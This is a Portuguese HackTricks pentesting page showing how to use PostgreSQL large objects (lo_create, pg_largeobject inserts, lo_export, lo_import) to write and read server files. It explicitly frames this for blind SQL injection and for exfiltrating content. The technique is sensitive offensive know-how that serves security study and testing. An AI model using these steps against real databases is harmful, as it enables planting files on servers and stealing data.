5.8 KiB
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você quiser ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.
Objetos Grandes do PostgreSQL
O PostgreSQL oferece uma estrutura conhecida como objetos grandes, acessíveis através da tabela pg_largeobject
, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Esta abordagem é vantajosa em relação à função COPY TO
, pois permite a exportação de dados de volta para o sistema de arquivos, garantindo que uma réplica exata do arquivo original seja mantida.
Para armazenar um arquivo completo dentro desta tabela, um objeto deve ser criado na tabela pg_largeobject
(identificado por um LOID), seguido pela inserção de pedaços de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses pedaços tenham exatamente 2KB de tamanho (com a possível exceção do último pedaço) para garantir que a função de exportação seja executada corretamente.
Para dividir seus dados binários em pedaços de 2KB, os seguintes comandos podem ser executados:
split -b 2048 your_file # Creates 2KB sized files
Para codificar cada arquivo em Base64 ou Hex, os comandos abaixo podem ser usados:
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
Importante: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes de texto simples. Arquivos codificados em hexadecimal exigirão 4KB de dados por pedaço devido ao dobro de tamanho, enquanto arquivos codificados em Base64 seguem a fórmula ceil(n / 3) * 4
.
O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:
select loid, pageno, encode(data, 'escape') from pg_largeobject;
Usando lo_creat
& Base64
Para armazenar dados binários, primeiro é criado um LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, lo_create
é preferível para especificar um LOID fixo.
Os pedaços de dados podem então ser inseridos da seguinte forma:
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
Para exportar e potencialmente excluir o large object após o uso:
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
Utilizando lo_import
& Hex
A função lo_import
pode ser utilizada para criar e especificar um LOID para um objeto grande:
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
Após a criação do objeto, os dados são inseridos por página, garantindo que cada fragmento não exceda 2KB:
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
Para completar o processo, os dados são exportados e o grande objeto é excluído:
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
Limitações
É observado que objetos grandes podem ter ACLs (Listas de Controle de Acesso), potencialmente restringindo o acesso até mesmo a objetos criados pelo seu usuário. No entanto, objetos mais antigos com ACLs permissivas ainda podem ser acessíveis para exfiltração de conteúdo.
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os HackTricks e HackTricks Cloud repositórios do github.